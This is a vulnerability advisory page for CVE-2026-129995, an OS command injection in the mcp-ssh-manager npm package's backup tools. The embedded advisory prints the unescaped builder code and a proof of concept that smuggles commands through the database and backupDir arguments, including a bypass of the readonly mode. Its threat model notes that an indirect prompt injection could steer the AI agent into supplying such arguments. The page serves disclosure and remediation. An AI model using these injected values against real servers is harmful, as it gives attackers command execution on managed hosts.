CVE-2026-129995: mcp-ssh-manager Remote Code Execution Vulnerability
HIGHCVE-2026-129995 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting mcp-ssh-manager libraries in the npm ecosystem. The issue involves remote code execution (rce) via command injection in the backup subsystem. Remediation is available by upgrading affected packages to version 3.8.5.
CVE-2026-129995 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-129995
To remediate this vulnerability, upgrade all affected mcp-ssh-manager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install mcp-ssh-manager@3.8.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls mcp-ssh-manager
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-129995, inspect your project dependencies using npm:
npm ls mcp-ssh-manager
Analyze the terminal output to locate any version of mcp-ssh-manager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.8.5), your application is affected.
Note: The npm ls mcp-ssh-manager command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In mcp-ssh-manager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-129995 Affected mcp-ssh-manager Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mcp-ssh-manager
|
npm |
< 3.8.5
|
3.8.5
|
References
Frequently Asked Questions
What is CVE-2026-129995?
Which mcp-ssh-manager versions are affected?
What version fixes CVE-2026-129995?
Is mcp-ssh-manager affected?
What is the CVSS score of CVE-2026-129995?
What CWE is associated with CVE-2026-129995?
How can I check npm dependencies for CVE-2026-129995?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qwwm-vrm9-4mw8",
"modified" : "2026-11-30T20:02:31Z",
"published" : "2026-11-30T20:02:31Z",
"aliases" : [ "CVE-2026-129995" ],
"summary" : "mcp-ssh-manager: Remote code execution (RCE) via command injection in the backup subsystem",
"details" : "## Summary\n\n`src/backup-manager.js` builds shell command strings for the `ssh_backup_*` tools by concatenating **caller-controlled tool arguments** (`database`, `dbUser`, `dbPassword`, `dbHost`, `backupDir`, `paths`, `exclude`, …) directly into the string with **no shell escaping**. The resulting string is passed to `ssh.execCommand()`, which runs it through the remote server's login shell. An argument that contains shell metacharacters (`;`, `$(...)`, backticks, `|`) therefore executes arbitrary commands on the target server. **This is a remote code execution (RCE) vulnerability**: an attacker who controls the tool arguments gains arbitrary command execution on every remote server the MCP instance manages, running as the configured SSH user.\n\nThis is the **same vulnerability class** that was fixed for the database helpers in **CVE-2026-77383 / GHSA-4jx9-2fwj-pg4j**. That fix added a centralized `shellQuote()` and was applied to `src/database-manager.js` (the `ssh_db_*` tools) **only**. The parallel builders in `src/backup-manager.js` (the `ssh_backup_*` tools) were not covered and remain vulnerable in the current release, **v3.8.0**.\n\n```\n$ grep -c shellQuote src/database-manager.js src/backup-manager.js\nsrc/database-manager.js:95 <- fixed (CVE-2026-77383)\nsrc/backup-manager.js:0 <- NOT fixed\n```\n\n## Affected component\n\n- Package: `mcp-ssh-manager` (npm), repository `bvisible/mcp-ssh-manager`\n- Affected versions: **<= 3.8.0** (latest at time of report)\n- File: `src/backup-manager.js` (all builders); reached from the tool handlers in `src/index.js`\n- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS command injection)\n- Impact: **Remote Code Execution (RCE)** on managed remote servers — arbitrary OS command execution as the configured SSH user\n\n## Details\n\nEvery builder in `src/backup-manager.js` interpolates arguments without escaping. Example — `buildMySQLDumpCommand`:\n\n```js\nlet command = 'mysqldump';\nif (user) command += ` -u${user}`;\nif (password) command += ` -p'${password}'`; // single-quote only -> breakable with '\nif (host) command += ` -h ${host}`;\ncommand += ` ${database}`; // fully unquoted\nif (compress) command += ` | gzip > \"${outputFile}\"`;\n```\n\nThe tool handler passes tool arguments straight into the builder (no validation beyond `z.string()` type checking), and the returned string is executed on the remote host:\n\n```js\n// src/index.js (ssh_backup_create, mysql branch)\nbackupCommand = buildMySQLDumpCommand({ database, user: dbUser, password: dbPassword, host: dbHost, ... });\nconst result = await ssh.execCommand(backupCommand); // remote login shell\n```\n\n`SSHManager.execCommand()` runs the string with `this.client.exec(fullCommand, …)` (ssh2), i.e. the remote `sshd` executes it via the user's shell, so `;`, `$(...)`, backticks and `|` are interpreted.\n\n### Reachable sinks (all confirmed)\n\n| Tool | Attacker-controlled argument(s) | Builder / sink |\n|------|--------------------------------|----------------|\n| `ssh_backup_create` | `database`, `dbUser`, `dbPassword`, `dbHost`, `backupDir`, `paths`, `exclude` | `buildMySQL/PostgreSQL/MongoDB/FilesBackupCommand`, plus inline `mkdir -p \"${backupDir}\"`, `stat … \"${backupFile}\"`, `buildSaveMetadataCommand`, `buildCleanupCommand` |\n| `ssh_backup_restore` | `database`, `targetPath`, connection params | `buildRestoreCommand` → MySQL/PG/Mongo/Files restore builders |\n| `ssh_backup_schedule` | `schedule`, `database`, `paths`, `cronComment` | script written to the remote host + `buildCronScheduleCommand` (persistent, runs from cron) |\n| `ssh_backup_list` | `backupDir` | `buildListBackupsCommand` → `find \"${backupDir}\" …` |\n\n### Security-mode bypass (most critical)\n\n`ssh_backup_list` is **not** listed in `READONLY_BLOCKED_TOOLS` and is not a `COMMAND_BEARING_TOOLS`, and its handler does not call `applyServerPolicy` at all. In `src/policy.js`, `evaluatePolicy` therefore returns `{ allowed: true }` for it under **both `readonly` and `restricted`** modes. An operator who hardens a server to `readonly` (intending \"the agent may never run commands here\") can still be made to execute arbitrary commands on that server through the unescaped `backupDir` argument of `ssh_backup_list`. This mirrors the \"`ssh_db_list` bypasses readonly/restricted\" note in CVE-2026-77383.\n\n## Proof of concept\n\nThe following session imports the **unmodified** builders from the repository, shows the command string they generate for an attacker-controlled argument, and delivers that exact string to a real `sshd` over SSH exec (which is what `ssh.execCommand()` does internally). The injected command runs on the remote host.\n\n```\n$ node -p \"require('./package.json').version\"\n3.8.0\n\n$ node -e \"import('./src/backup-manager.js').then(m=>console.log(m.buildMySQLDumpCommand(\n {database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',\n outputFile:'/tmp/app.sql.gz',compress:true})))\"\nmysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id > /tmp/pwned.txt; # | gzip > \"/tmp/app.sql.gz\"\n\n# deliver over SSH exec (identical to ssh.execCommand)\n$ ssh deploy@testhost \"$CMD\"; echo exit=$?\nexit=0\n\n$ ssh deploy@testhost 'cat /tmp/pwned.txt'\nuid=1001(deploy) gid=1001(deploy) groups=1001(deploy) <-- injected command executed on the remote host\n```\n\nMode-bypass variant via `ssh_backup_list` (works on a `readonly` server):\n\n```\n$ node -e \"import('./src/backup-manager.js').then(m=>process.stdout.write(\n m.buildListBackupsCommand('/var/backups\\\"; id > /tmp/pwned.txt; echo \\\"', null)))\"\nfind \"/var/backups\"; id > /tmp/pwned.txt; echo \"\" -name \"*.meta.json\" -type f | while read -r file; do cat \"$file\"; echo \"---\"; done\n\n$ ssh deploy@testhost \"$LST\"; ssh deploy@testhost 'cat /tmp/pwned.txt'\nuid=1001(deploy) gid=1001(deploy) groups=1001(deploy)\n```\n\n(See attached `session.txt` / `live_repro.log` for the full runs and `poc.mjs` for a standalone reproducer.)\n\n<img width=\"2400\" height=\"1000\" alt=\"poc_screenshot\" src=\"https://github.com/user-attachments/assets/40463fac-8e32-42c6-a758-d40d7ba2761b\" />\n\n[mcp-ssh-manager-backup-rce-poc.zip](https://github.com/user-attachments/files/31475925/mcp-ssh-manager-backup-rce-poc.zip)\n\n\n## Impact\n\n**Remote Code Execution (RCE)** — arbitrary OS command execution on the managed remote server, running as the configured SSH user — identical impact to CVE-2026-77383. In the default `unrestricted` mode this is reachable through `ssh_backup_create`, `ssh_backup_restore`, `ssh_backup_schedule` (the last also yields a persistent cron foothold) and `ssh_backup_list`. On servers hardened to `readonly`/`restricted`, `ssh_backup_list` still reaches it, bypassing the intended tool restriction.\n\n## Threat model\n\nConsistent with CVE-2026-77383: the tool arguments are treated as untrusted. In an MCP deployment they are produced by the language model and can be steered by an indirect prompt injection (malicious content the agent reads) or by a malicious/compromised MCP client. No exploitation occurs when a fully trusted operator supplies only benign values.\n\n## Remediation\n\nApply the existing `shellQuote()` from `src/database-manager.js` to every argument interpolated by the builders in `src/backup-manager.js` (`database`, `user`, `password`, `host`, `port`, `outputFile`, `outputDir`, `paths`, `exclude`, `database` in restore, `schedule`/`cronComment` in the cron builder), and to the inline interpolations in the `ssh_backup_*` handlers in `src/index.js` (`mkdir -p \"${backupDir}\"`, `stat … \"${backupFile}\"`, `echo '…' > \"${metadataPath}\"`). Prefer passing values as argv where the transport allows it. Additionally, route `ssh_backup_list` through `applyServerPolicy` so it is subject to the same read-only semantics as the other backup tools.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "mcp-ssh-manager"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.8.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/bvisible/mcp-ssh-manager/security/advisories/GHSA-qwwm-vrm9-4mw8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-129995"
}, {
"type" : "WEB",
"url" : "https://github.com/bvisible/mcp-ssh-manager/commit/d40daa8a43388dfaedf593bff18f0064d50f9633"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/bvisible/mcp-ssh-manager"
}, {
"type" : "WEB",
"url" : "https://github.com/bvisible/mcp-ssh-manager/releases/tag/v3.8.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-11-30T20:02:31Z",
"nvd_published_at" : "2026-11-20T19:18:44Z"
}
}